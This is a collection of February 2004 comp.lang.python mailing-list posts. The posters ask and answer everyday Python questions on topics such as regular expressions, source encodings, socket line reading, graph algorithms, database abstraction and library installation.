> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.
> 
> From my our personal experience, I have been programming with Python for
> about 6 months (but I have been programming in other languages for over 10
> years) and I have noticed that the more I had gotten use to programming in
> Python, the more my programming speed has increased. But ... this is true
> with any language that you program in as long as you are learning the
> methodologies and concepts of the programming language.  Your thoughts.

It used to be that Python programs were shorter, faster, readable,
writable, and simply better.  But, this was during the days when most
programmers had Unix background.  Nowdays, most of the programmers are
coming from Windows background, and Python programs have become as
verbose and unreadable as Visual Basic or Perl.

Ruby has not been corrupted as such.  It make complicated thing less
complicated.  But, it still make simply thing not as simple as Python.

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 


From tepihlaj at paju.oulu.fi  Wed Feb 11 09:05:29 2004
From: tepihlaj at paju.oulu.fi (Tero Pihlajakoski)
Date: Wed, 11 Feb 2004 14:05:29 +0000 (UTC)
Subject: C Embedding problem, ImportError
References: <mailman.1431.1076442998.12720.python-list@python.org>
Message-ID: <c0dcr9$7cf$1@ousrvr3.oulu.fi>

Anand K Rayudu <anand at easi.soft.net> wrote:
> [-- text/plain, encoding 7bit, charset: us-ascii, 49 lines --]

>  hi Tero,

> I also faced similar kind of problem on HP & IBM workstations.
> This is how i solved.

> run python outside & do following.
> It gives out the link options required for that platform, just 
> re-compile your application with those options.

> more information you can find out in python documentation chapter 


>  5.6 Linking Requirements

> in my downloaded documentation it is at ~/python-docs-2.3/ext/link-reqs.html

>>>> import distutils.sysconfig
>>>> distutils.sysconfig.get_config_var('LINKFORSHARED')
> '-Xlinker -export-dynamic'

> Hope this helps!! :-)

> Anand

Hey,

Yes, I checked out that script in the past, and it gave the same options I
was using (though I don't need -export-dynamic for the linker at the
moment, and adding it doesn't fix the problem).

However, I've traced the problem to the fact that I'm using Python from a
JNI module. If I compile the same JNI module with a "main" function, and
try importing math, it actually works. I'm very puzzled. It probably has
something to do with Java and JNI.

So: Anyone using Python scripting from a JNI C library, with scripts using
..../lib-dynload libs such as math? How did you get it to work?

- Tero

-- 



From mac at dgp.toronto.edu  Sun Feb  8 21:22:47 2004
From: mac at dgp.toronto.edu (Maciej Kalisiak)
Date: Mon, 09 Feb 2004 02:22:47 GMT
Subject: "ulimit -s" has no effect?
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<c00i0a$inl$2@news.service.uci.edu>
	<877jyzeesq.fsf@dgp.toronto.edu>
	<c01qib$po6$1@news.service.uci.edu>
	<87hdy2hpbb.fsf@dgp.toronto.edu>
	<c03fla$c2k$1@news.service.uci.edu>
Message-ID: <87llndkn47.fsf@dgp.toronto.edu>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> Though it sometimes takes work, _any_ recursive algorithm can be made
> iterative.  If you are willing to cough up your code (via email or otherwise),
> I'd be willing to give a shot at converting it.
n
Sure, here is the algorithm code.  The routine is ripped out of a much larger
class, but it should be relatively independent.  The class among other things
contains a graph, with the graph vertices in `self.nodes'.  Each node object
has a `kids' attribute, which is a list of (kid node, edge type) tuples.  The
edge type is unimportant as far as this algo is concerned.

    def find_scc(self):
        """Find the 'strongly connected component' (SCC) of the graph.

        Implemented using Tarjan's algorithm.
        """
        # prep the vertices
        for n in self.nodes:
            n.num = None                # the "visit order number"
            n.root = n
            n.visited = False
            n.in_component = None

        stack = []
        components = []
        nodes_visit_order = []
        self.next_visit_num = 0

        def visit(v):
            v.visited = True
            nodes_visit_order.append(v)
            v.num = self.next_visit_num
            self.next_visit_num += 1
            stack.append(v)
            for w,type in v.kids:
                if not w.visited:
                    visit(w)
                if not w.in_component:
                    v.root = nodes_visit_order[ min(v.root.num, w.root.num) ]
            if v.root == v:
                c = []
                while 1:
                    w = stack.pop()
                    w.in_component = c
                    c.append(w)
                    if w == v:
                        break
                components.append(c)

        # the "main" routine
        for v in self.nodes:
            if not v.visited:
                visit(v)

        # extract SCC info
        for n in self.nodes:
            if n.in_component and len(n.in_component) > 1:
                # part of SCC
                n.hidden = False
            else:
                # either not in a component, or singleton case
                n.hidden = True


From james at logicalprogression.net  Tue Feb  3 06:11:41 2004
From: james at logicalprogression.net (James Henderson)
Date: Tue, 3 Feb 2004 11:11:41 +0000
Subject: index in "double" list
In-Reply-To: <20040203080409.GA13118@mf.uni-lj.si>
References: <20040203080409.GA13118@mf.uni-lj.si>
Message-ID: <200402031111.41409.james@logicalprogression.net>

On Tuesday 03 February 2004 8:04 am, Bo?tjan Jerko wrote:
> [[1,"a"],[2,"b"],[3,"c"]]

Not entirely sure what you mean but does this help?

>>> ll = [[1,"a"],[2,"b"],[3,"c"]]
>>> zip(ll)
[([1, 'a'],), ([2, 'b'],), ([3, 'c'],)]
>>> zip(*ll)
[(1, 2, 3), ('a', 'b', 'c')]

James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From niki_iv at abv.bg  Tue Feb 10 05:20:11 2004
From: niki_iv at abv.bg (Niki Iv)
Date: Tue, 10 Feb 2004 10:20:11 GMT
Subject: Simple newbie question about parameters handling in functions (or
	am I dump or what?)
Message-ID: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>

I am totaly new to Python, although I have quite strong developer
background. Indeed I am evaluating Python to integrate it (Jython) in
my Java apps... 
Well this is my first Python day. I am tampering with functions. I
read that parameters are passed by-value rather than by-reference. So
function can change wathever parameters reffers to. My troube (well my
presonal not understanding comes from this)

Example 1.
def ChangeList(ListToChange):
	ListToChange[1] = "Line B"

MyList = ["Line 1","Line 2","Line 3"]
print MyList
ChangleList(MyList)
print MyList

Result is quite understandable (as in Pythin Bible is..)
["Line 1","Line 2","Line 3"]
["Line 1","Line B","Line 3"]

So now function ChangeList.. is
(1) def ChangeList(ListToChange):
(2)	ListToChange[1] = "Line B"
(3)	ListToChange[2] = "Line C"
(4)	ListToChange = ["Line X","Line Y","Line Z"]

Result is the same (as it suppose to be..)
["Line 1","Line 2","Line 3"]
["Line 1","Line B","Line C"]


But now... I am swaping line
(1)def ChangeList(ListToChange):
(2)	ListToChange[1] = "Line B"
(3)	ListToChange = ["Line X","Line Y","Line Z"]
(4)	ListToChange[2] = "Line C"


I have only swapped line 3 and 4.

Result is unexpected
["Line 1","Line 2","Line 3"]
["Line 1","Line B","Line 3"]

The last line in function is to change where ListToChange[2] reffers
to.. but string is the same..
Frankly I was expecting that ListToChange will change it's second
(zero base) element... but it does not.
Why?
Excuse me if the question is stupid.


From no at sp.am  Thu Feb 19 15:20:14 2004
From: no at sp.am (DH)
Date: Thu, 19 Feb 2004 14:20:14 -0600
Subject: Database abstraction (like AdoDB in PHP)
In-Reply-To: <mailman.72.1077211104.27104.python-list@python.org>
References: <mailman.72.1077211104.27104.python-list@python.org>
Message-ID: <YvydnTnZm7bgh6jdRVn-gw@comcast.com>

Andres Montiel wrote:
> Is there something like ADODB in PHP for Python? something that would
> allow me to easily switch databases just by changing a few parameters?
> :)

The person who wrote ADODB made a version for Python, too, recently:
http://php.weblogs.com/adodb_python

But see also:
http://sqlobject.org/
http://modeling.sourceforge.net/
and some commercial products like Rekall, mxODBC


From dietrich at zdome.net  Mon Feb  2 21:14:21 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Mon, 2 Feb 2004 18:14:21 -0800
Subject: JPG - PNG conversion problem
In-Reply-To: <971323274247EB44B9A01D0A3B424C8505CA46C6@FTWMLVEM02.e2k.ad.ge.com>
References: <971323274247EB44B9A01D0A3B424C8505CA46C6@FTWMLVEM02.e2k.ad.ge.com>
Message-ID: <ADE99F3C-55EE-11D8-90A2-0003934ACDEC@zdome.net>


On Feb 2, 2004, at 9:32 AM, Raaijmakers, Vincent ((GE Infrastructure)) 
wrote:

> Yes I did.
>
> image.depth = 8
>
> But it didn't help, the 64k is the image file size having 256 colors.

160 * 120 = 19200

So something is wrong.  First of all, PNG compressions is usually 
around 2:1 to 4:1.  JPG compression often still looks acceptable at 
10:1 or higher.  Second of all, depth is bits per sample.  8-bit RGB 
takes up 24 bits per pixel.  The depth is probably 8 already.  What you 
want to do is convert the image to indexed color.

My guess is the reason your file takes up 64k on your hard drive is 
that your file system is rounding up to the nearest block.  Try to find 
out the exact number of bytes, it's undoubtedly smaller.  Create a text 
file on your drive that only contains one letter, then tell us what the 
size is.  Due to the type of compression that PNG uses, the worst case 
scenario is a little more than 57k.

Now comes the part where I question your motives... what is wrong with 
JPEG?  Converting JPEG to PNG indexed is practically the worst case 
scenario for image conversion.  You get big file sizes, dithering, and 
JPEG artifacts all in one image!  I can think of worse conversions, but 
they involve things like transmitting the raw image data over an RS232 
connection without error connection up an elevator shaft. 
  




From eurleif at ecritters.biz  Mon Feb  2 04:25:48 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Mon, 02 Feb 2004 09:25:48 GMT
Subject: OT: why do web BBS's and blogs get so slow?
In-Reply-To: <401df685$0$248$edfadb0f@dread12.news.tele.dk>
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<401ce2b0$0$282$edfadb0f@dread12.news.tele.dk>
	<7xfzdus742.fsf@ruckus.brouhaha.com>
	<401df685$0$248$edfadb0f@dread12.news.tele.dk>
Message-ID: <wIoTb.740$VP1.583556@newshog.newsread.com>

Max M wrote:
> Or even faster if "Hi <username>" was two gifs that could be 
> loaded.

Please, don't lose accessibility for some petty speed gain.


From hans at zephyrfalcon.org  Sun Feb  1 20:31:42 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Sun, 01 Feb 2004 20:31:42 -0500
Subject: F: How can I make re.sub() replace patterns across newlines
In-Reply-To: <bvk6dr$sumlg$1@ID-212335.news.uni-berlin.de>
References: <bvk6dr$sumlg$1@ID-212335.news.uni-berlin.de>
Message-ID: <401DA87E.5000009@zephyrfalcon.org>

Viktor Rosenfeld wrote:
> Hi,
> 
> I want to strip a JAVA file of /* */ like comments.  Unfortunately, the
> simple regexp "\/\*.*\*\/" only works on comments, that are on one line. 
> Is there a simple way to remove comments that go across several lines with
> python regexp's?  I tried re.M to no avail.

Something like:

import re
pattern = re.compile("/\*.*?\*/", re.MULTILINE|re.DOTALL)
stripped_data = pattern.sub("", data)

Note that I added a ? to the regex, so it won't be "greedy".

HTH,

-- 
Hans (hans at zephyrfalcon.org)
http://zephyrfalcon.org/





From skip at pobox.com  Fri Feb  6 17:52:13 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 6 Feb 2004 16:52:13 -0600
Subject: DeprecationWarning: Non-ASCII character '\xc0'
In-Reply-To: <788bd2d4.0402061430.5d240743@posting.google.com>
References: <788bd2d4.0402061430.5d240743@posting.google.com>
Message-ID: <16420.6813.132031.709638@montanaro.dyndns.org>


    ahsan> "__main__:1: DeprecationWarning: Non-ASCII character '\xc0' in file
    ahsan> trans.py on line 11, but no encoding declared; see
    ahsan> http://www.python.org/peps/pep-0263.html for details"

    ahsan> I am not sure what encoding to use. I am not sure where to look. I
    ahsan> picked one out of the documentation. Here is what I used:
    ahsan> # -*- coding: utf-8 -*-

Looks like the data you posted was encoded as iso-8859-1 (aka, latin-1), so
I suggest you use:

    # -*- coding: iso-8859-1 -*-

as your coding comment.

    ahsan> Questions:
    ahsan> 1) Is there a list I can pick the encoding from?

Look at the filenames in the encodings package (part of the standard
distribution). 

    ahsan> 2) How can I find more about encoding?

Pick and choose from the results in found in these googlings:

    http://www.google.com/search?q=encoding+site:www.python.org
    http://www.google.com/search?q=unicode+site:www.python.org

Skip



From linuxlists at chargedideas.com  Sun Feb 22 12:42:36 2004
From: linuxlists at chargedideas.com (Andres Montiel)
Date: 23 Feb 2004 01:42:36 +0800
Subject: Database abstraction (like AdoDB in PHP)
In-Reply-To: <c13b2k$1th1$1@biggoron.nerim.net>
References: <mailman.72.1077211104.27104.python-list@python.org>
	<YvydnTnZm7bgh6jdRVn-gw@comcast.com> <c13b2k$1th1$1@biggoron.nerim.net>
Message-ID: <1077471756.2513.10.camel@kyutums>

Thanks for the tips. :)

On Fri, 2004-02-20 at 05:50, Yermat wrote:
> DH a ?crit :
> 
> > Andres Montiel wrote:
> > 
> >> Is there something like ADODB in PHP for Python? something that would
> >> allow me to easily switch databases just by changing a few parameters?
> >> :)
> > 
> > 
> > The person who wrote ADODB made a version for Python, too, recently:
> > http://php.weblogs.com/adodb_python
> > 
> > But see also:
> > http://sqlobject.org/
> > http://modeling.sourceforge.net/
> > and some commercial products like Rekall, mxODBC
> 
> In fact, this is nearly already the case. If your library is "Python 
> Database API Specification v2.0" compliant (see 
> http://www.python.org/peps/pep-0249.html) then you can just change the 
> connection object. But you need to take care of such thing like the 
> "paramstyle" parameters.
> I've already use this to change from MySQL to ODBC with no change in the 
> code.
> 
> But the real pain is not the API, it is the SQL. For example an integer 
> will not be declare the same way in PostGres or MySQL, same for BLOB, etc.
> 
> That is why the only way is to do things in a more abstract way like 
> sqlobject or modeling. But I find it is still complicate to have a 
> persistent framework that can accept Database, ZODB, etc in a nice way...
> 
> Lo?c




From bob at redivi.com  Sat Feb 28 21:11:55 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sat, 28 Feb 2004 21:11:55 -0500
Subject: [Tutor] Re: Reading text lines from a socket
References: <sqj7h1-efj.ln1@pluto.home> <40412589.40704@venix.com>
	<mailman.256.1078018152.8594.python-list@python.org>
Message-ID: <2004022821115516807%bob@redivicom>

The real solution is just to use a layer of abstraction, like 
asyncore/medusa, Twisted, etc.  Relying on the fact that your operating 
system may or may not allow a socket to act sort of like a file is 
really not something you should do, from Python or otherwise.

socket.makefile is platform specific, at best.

On 2004-02-28 20:28:59 -0500, Lloyd Kvam <pythontutor at venix.com> said:

> Well, I've never used it, but sockets do have the makefile method.  That
> would seem to fit what you're trying to do.
> 
> Sandip Bhattacharya wrote:
> 
>> [Reposting to the general list too]
>> 
>> Lloyd Kvam wrote:
>> 
>>> Sockets deal with packetized data.  The network protocols do not guarantee
>>> keeping the data in line oriented chunks - even if the data starts out 
>>> that way.
>>> 
>>> You need to deal with extracting lines from chunks.  So long as the 
>>> connection is
>>> working properly, this is easy.  The challenge occurs when the 
>>> remainder of a line
>>> never gets delivered.  The best strategy depends upon the details of 
>>> what you are
>>> doing.
>> 
>> 
>> I understand that. In Python using sockets is like using sockets in C.
>> 
>> However, I was looking for a python equivalent of the perl idiom of 
>> opening a socket and getting a file handle ... and then reading this 
>> file handle as any other line oriented file using $socket->readline
>> 
>> I am trying to write a simple Netcraft style script which tries the 
>> HEAD method on a webserver and reads the Server: header from the 
>> response. I would not like to use urllib, because even a call to 
>> something like urllib.info() reads in the complete webpage on an open().
>> 
>> Even if this particular problem could be done elegantly, I would be 
>> interested to know the answer to my original question because the 
>> feature of reading a line at a time from a socket will help me in a lot 
>> of other places in the future.
>> 
>> - Sandip




From hakan at netg.se  Tue Feb  3 03:57:00 2004
From: hakan at netg.se (Hakan Nilsson)
Date: Tue, 3 Feb 2004 09:57:00 +0100 (CET)
Subject: Question about 'if __name__ == "__main__":'
In-Reply-To: <pan.2004.02.03.07.39.39.54419@internode.on.net>
Message-ID: <Pine.LNX.4.44.0402030954390.16652-100000@elvegris.netg.se>

On Tue, 3 Feb 2004, PoD wrote:

> On Mon, 02 Feb 2004 23:33:42 -0800, Amy G wrote:
>
> > I have a program that needs a little help.
> > Right now the program runs in my crontab.  When it runs, it sets a few
> > variables based on a query to a MySQL database.  I would like to modify it
> > so that it can run as it is... or if arguments are supplied, use those
> > instead of querrying the database.
> >
>
> Hint: len(sys.argv)
>

You might want to check out the getopt module too:

http://www.python.org/doc/current/lib/module-getopt.html

Depends on how many arguments you are planning to support I guess.

/h

-
 Hi! I'm a .signature virus!
 Copy me into your .signature file to help me spread!




From wmwd2zz02 at sneakemail.com  Sun Feb 22 21:26:04 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Mon, 23 Feb 2004 15:26:04 +1300
Subject: derivation: sick Python trick of the week
In-Reply-To: <mailman.177.1077495021.27104.python-list@python.org>
References: <mailman.177.1077495021.27104.python-list@python.org>
Message-ID: <c1bobu$1g1p9e$1@ID-169208.news.uni-berlin.de>

Robert Brewer wrote:
> In a fit of mad-scientist genius (get out the pitchforks and torches), I
> wondered if it might be faster to let Python do *all* the parsing, and
> just watch it work and take notes. That's what the code below does. The
> sick and twisted part is how one invokes this technique:

It's not really all that sick, or at least it's not a new
idea. I'm sure there's at least one DB module out there
somewhere that uses this technique.

> Yes, in line two we run comparisons and boolean operations on
> non-existent attributes of x, and discard the results! Sick.

That part is perhaps a bit too twisted. It's not really
necessary, you could just as well design it so you say

    expr = (x.a == 3) & ((x.b > 1) | (x.b < -10))

 > And it's
 > *far* from obvious that 'x.a' should reduce to just 'a'.

In the case of database queries, you can make this seem
much more natural by having 'x' represent some meaningful
object such as a table.

    db = open_database("favourite_fruits")
    fruits = db.fruits
    query = (fruits.kind == "apple") && (fruits.tastiness >= 3)

> I had to replace boolean 'and' and 'or' with binary calls in order to
> override them, and 'not' with 'neg'. That makes it even sicker.

Yes, that's the main nuisance with this technique. I have
a PEP idea floating around to make and/or/not overridable,
for this very purpose. Hmmm... does that make me sick?-)

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From theller at python.net  Wed Feb 25 08:01:57 2004
From: theller at python.net (Thomas Heller)
Date: Wed, 25 Feb 2004 14:01:57 +0100
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
	<480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.62.1077653810.8594.python-list@python.org>
	<wzwu6b4b0k.fsf@ordesa.cs.uu.nl>
Message-ID: <d683tire.fsf@python.net>

Piet van Oostrum <piet at cs.uu.nl> writes:

> The point is that "Windows" isn't a trademark, or at least shouldn't be
> because it's too generic. "MS Windows" or "Microsoft Windows", OK.
> The same was the case with DOS: many people called MS-DOS just "DOS",
> although there were other DOSses around.
>
> I think they shouldn't be allowed to hijack the name "Windows". And neither
> "Word" or "Office" for that matter.

MS isn't alone in doeing this.  Here in germany, we have the case that
the 'Telekom' is trying to hijack both the letter 'T' and the color
magenta.

Strange times...

Thomas




From no at sp.am  Mon Feb 16 12:57:49 2004
From: no at sp.am (DH)
Date: Mon, 16 Feb 2004 11:57:49 -0600
Subject: Is there Multi-media support in Python ?
In-Reply-To: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
References: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
Message-ID: <M9udnX3yVeUCmazdRVn-ug@comcast.com>

Will wrote:

> Is there multi-media support in Python? So I can...
> 
> 1 - play video in all the standard formats... windows & Mac?
> 2 - play flash files
> 3 - Power Point
> 4 - Standard graphic formats
> 5 - Sound in all the standard formats
> 6 - etc
> 
> Please note requirements: And, on video's, flash files, Power Point, Graphic
> files, I need to have those show within my programs "window" along with some
> other text... so I need to be able to size the video and locate it in the
> window... so if the program simply pop's up the Windows Media Player or
> QuickTime or whatever as a separate window... no good... it all needs to be
> integrated into a single window along with text and other stuff...
> 
> If so, is it in the standard release or has someone created a module just
> for multi-media integration?
> 
> Thanks for any help - Will

Not really.  Not like the java media framework or QT4Java.
Someone is working on video playing in python that works on Windows or 
Macs but it's still being developed:
http://www2.wcer.wisc.edu/Transana/Develop

Also, in wxPython on Windows only, you can embed Internet Explorer or 
other ActiveX objects including the Media Player & Powerpoint I assume.
Run the demo for an example: http://www.wxpython.org/
I guess the easiest thing to do would just be to embed Internet Explorer 
and have it load a page that plays the movie or flash file.

Even easier though would just be to make your application a web 
application and let the browser be the whole interface.


From colarte at telesat.com.co  Thu Feb  5 10:48:00 2004
From: colarte at telesat.com.co (Camilo Olarte)
Date: Thu,  5 Feb 2004 10:48:00 -0500
Subject: like mod_python but in the kernel????
Message-ID: <1075996080.402265b066533@ilpostino3.telesat.com.co>

Hi list, 

I was wondering : 

If python cgi scripts can be acceletaded by means of mod_python in apache
(loading the python interpreter on apache)  , then : ?Is there a way of doing
the same but with linux kernel...  and command line scripts ?

I mean can python interpreter be loaded as module of the kernel and thus making
execution of python scripts faster ???

Is there something perverse in this way of thinking????

I know that pypy is on the way , probably making python execution faster.

Just daydreaming of this python kernel module stuff.


NOTE: I have no problem with actual python speed. It's just that mod_python
stuff calls my attention because it icrements the speed of execution of a cgi
script from 4 Requests/second to aprox 140 Requests/second.


Camilo Olarte






Telesat, m?s f?cil...m?s Internet.
http://www.telesat.com.co/



From jepler at unpythonic.net  Wed Feb 18 17:35:03 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 18 Feb 2004 16:35:03 -0600
Subject: 2.3 encoding parsing bug
In-Reply-To: <10349ardb7psua3@corp.supernews.com>
References: <10349ardb7psua3@corp.supernews.com>
Message-ID: <20040218223503.GC12835@unpythonic.net>

Edward,

It's unfortunate that you didn't contribute to the discussion
of PEP 263, which was created in June 2001[1], mentioned on
comp.lang.python.announce/python-announce at python.org as early as August
2001[2], discussed on comp.lang.python/python-list at python.org back in
February 2002[3], available as a patch in March 2002[4], and present
in the Python CVS around August 2002[5].  Alpha releases of Python
(including binary releases for Windows) with the feature were available
on December 31, 2002[6].  Leo, on the other hand, added support for its
own encoding cookie on January 21, 2002[7].  The fatal (for LEO) dot
in the regular expression was added on February 28, 2002[8].  I didn't
find a thread that explains why this was done, but I believe it was to
support encodings like 'japanese.sjis'[9]

Since dotted encodings reflect a namespace hierarchy, ones with trailing
dots are nonsense.  It seems to me that the easiest fix for this problem
would be to ignore a trailing dot, if it is present in the encoding
cookie.  I'm at least +1/2 on that idea.

References:
[1] http://www.python.org/peps/pep-0263.html
[2] http://groups.google.com/groups?selm=mailman.996828301.19910.clpa-moderators%40python.org
[3] http://groups.google.com/groups?selm=mailman.1014614501.21492.python-list%40python.org
[4] http://python.org/sf/526840 "Date Submitted"
[5] http://python.org/sf/534304 "Date Closed"
[6] http://www.python.org/2.3/NEWS.txt "What's New in Python 2.3 alpha 1?"
[7] http://cvs.sourceforge.net/viewcvs.py/leo/leo/Attic/leoAtFile.py?r1=1.106&r2=1.107
    "Line 540"
[8] http://cvs.sourceforge.net/viewcvs.py/python/python/nondist/peps/pep-0263.txt?r1=1.7&r2=1.8
[9] http://dist.shot.cx/SnapShot/PEP263/pep0263-2.2.1c2-03/sjis_sample.py

Jeff



From jdhunter at ace.bsd.uchicago.edu  Thu Feb 19 12:33:59 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Thu, 19 Feb 2004 11:33:59 -0600
Subject: ANN: matplotlib-0.50 - python plots
In-Reply-To: <20040219174630.D9B38DDE93@rmta04.mta.everyone.net>
	(n4482@klaff.org's
	message of "Thu, 19 Feb 2004 09:46:30 -0800 (PST)")
References: <mailman.76.1077040599.31398.python-list@python.org>
	<20040219174630.D9B38DDE93@rmta04.mta.everyone.net>
Message-ID: <m2vfm3geig.fsf@mother.paradise.lost>

>>>>> "n4482" == n4482  <n4482 at klaff.org> writes:

    n4482> I'm running python 2.3.3 on Windows XP.

    n4482> Any thoughts?

Have you ever installed any other gtk products before (earlier
versions of pygtk, gtk, glade, gimp, or other gtk related dlls).
Older installs put some stuff in windows system dirs that causes
errors like you are getting.  Read this FAQ entry

"I cannot import gtk / gdk / gobject" at
http://matplotlib.sourceforge.net/faq.html  which points to this
discussion on pygtk mailing list from someone who had a similar
problem
http://www.mail-archive.com/pygtk at daa.com.au/msg07324.html

Let me know how it goes.

JDH




From skip at pobox.com  Wed Feb 25 15:14:42 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 25 Feb 2004 14:14:42 -0600
Subject: Fast File Input
In-Reply-To: <403CD2A2.1080701@draigBrady.com>
References: <c1iit0$2jj$1@news01.intel.com> <403CD2A2.1080701@draigBrady.com>
Message-ID: <16445.562.501149.229857@montanaro.dyndns.org>


    P?draig> This actually improved a lot with python version 2
    P?draig> but is still quite slow as you can see here:
    P?draig> http://www.pixelbeat.org/readline/
    P?draig> There are a few notes within the python script there.

Your page doesn't mention precisely which version of Python 2 you used.  I
suspect a rather old one (2.0? 2.1?) because of the style of loop you used
to read from sys.stdin.  Eliminating comments, your python2 script was:

    import sys

    while 1:
	line = sys.stdin.readline()
	if line == '':
	    break
        try:
	    print line,
	except:
	    pass

Running that using the CVS version of Python feeding it my machine's
dictionary as input I got this time(1) output (fastest real time of four runs):

    % time python readltst.py < /usr/share/dict/words > /dev/null

    real    0m1.384s
    user    0m1.290s
    sys     0m0.060s

Rewriting it to eliminate the try/except statement (why did you have that
there?) got it to:

    % time python readltst.py < /usr/share/dict/words > /dev/null

    real    0m1.373s
    user    0m1.270s
    sys     0m0.040s

Further rewriting it as the more modern:

    import sys

    for line in sys.stdin:
	print line,

yielded:

    % time python readltst2.py < /usr/share/dict/words > /dev/null

    real    0m0.660s
    user    0m0.600s
    sys     0m0.060s

My guess is that your python2 times are probably at least a factor of 2 too
large if you accept that people will use a recent version of Python in which
file objects are iterators.

Skip




From FBatista at uniFON.com.ar  Thu Feb 26 17:02:24 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 26 Feb 2004 19:02:24 -0300
Subject: How to obscure a password
Message-ID: <A128D751272CD411BC9200508BC2194D033836A4@escpl.tcp.com.ar>

Peter Hansen wrote:

#- Is it that you're going to be sending this password to a 
#- remote system,
#- so basically you've got a utility which allows storing the password
#- locally so that a user doesn't have to retype it but can still access
#- the remote system?  (If that's the case, you could title this utility
#- "security-removal-tool" because that's what it is.  Your 
#- call though...)

That's right. It's a simple program that use pygoogle to get the word spell
correctly, and we need to pass through a proxy to reach internet.

If the user wants to store his password scrambled in his local disk (I'll
inform him about security issues) or to retype everytime his password, it's
his call.

.	Facundo



From martin at v.loewis.de  Tue Feb 10 14:43:30 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 10 Feb 2004 20:43:30 +0100
Subject: package similar to XML::Simple
In-Reply-To: <40290854.15BB5CF0@engcorp.com>
References: <bv80qq$kbg$1@sunnews.cern.ch>
	<mailman.904.1075287732.12720.python-list@python.org>
	<d116fbae.0402092332.22936b0@posting.google.com>
	<40290854.15BB5CF0@engcorp.com>
Message-ID: <c0bc8v$ibu$01$1@news.t-online.com>

Peter Hansen wrote:
> Hmm... so it's your opinion that *all* XML parsers must handle *all*
> aspects of XML?  If not, I think you should back off on the criticism
> of PyRXP as being "not an XML parser" and simply point out that it
> doesn't handle all aspects of XML because it is intended to provide
> a very fast/heavily optimized approach to parsing only certain kinds
> of XML.

I am not Uche, but I think that all XML parsers should conform to the
XML recommendation (and treat deviations from the XML recommendation
as bugs).

This is not the same as handling all aspects of XML, since the XML
recommendation makes certain aspects optional. Processing character
references is not one of them (but e.g. validation is).

> It's a valid choice to do so, though of course if PyRXP is
> promoted as a "full" XML solution that might be inaccurate.

Packages may help processing only selected XML documents, and they
may also support documents which are not XML. However, in neither
case, they should call themselves "XML parsers". "XML-like parsers"
or "XML subset parsers" might be more appriate.

Regards,
Martin



From tismer at stackless.com  Thu Feb 19 07:56:49 2004
From: tismer at stackless.com (Christian Tismer)
Date: Thu, 19 Feb 2004 13:56:49 +0100
Subject: Stackless Python
In-Reply-To: <221d8dbe.0402182336.4a326d6c@posting.google.com>
References: <221d8dbe.0402182336.4a326d6c@posting.google.com>
Message-ID: <4034B291.8050007@stackless.com>

srijit at yahoo.com wrote:

I think this message should go to the stackless list?

> Please refer an old message below. I unzipped python23.dll.zip and
> kept  python23.dll in a local folder. I started Python from a dos box
> (Win XP machine) in the same local folder. I typed help(stackless) and
> got an error message, as shown below.
> 
> D:\Python23\myfiles>python
> Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)]
> on win32
> Type "help", "copyright", "credits" or "license" for more information.

Python did not use your Stackless dll as the startup
message should read differently.
It should work if you have the dll in your local
folder. Of course, you can take a copy of
c:\windows\system32\python23.dll and place the Stackless
one there. This *must* work, although it is a little
rigorous. It should look alsmost like this:

D:\slpdev\src\2.3\src\PCbuild>python
Python 2.3.3 Stackless 3.0 040119 (#51, Feb 19 2004, 13:53:31) [MSC 
v.1200 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
 >>> help("stackless")
...
-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From healthed at hotmail.com  Sun Feb 22 14:45:30 2004
From: healthed at hotmail.com (weasel)
Date: Sun, 22 Feb 2004 19:45:30 GMT
Subject: Conversion code not working properly
References: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>
	<lw6i8vlralv3.9b0vokdurkht$.dlg@40tude.net>
Message-ID: <sh1i30p0bspcjrofi5vgja3p7t50rrnept@4ax.com>

It's not working. I don't think the conversion is the problem. After
converting, the program shows the original entry you put in

i.e. Please enter low temp:
32
Please enter high temp:
42
Please enter a conversion letter (C, F):
F

Then, the display shows
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42

However,

the conversion is only showing 
0, 1, 2, 3, 4, 5.

What happened to the other half? I tried using 5.0/9.0, but got the
same results.

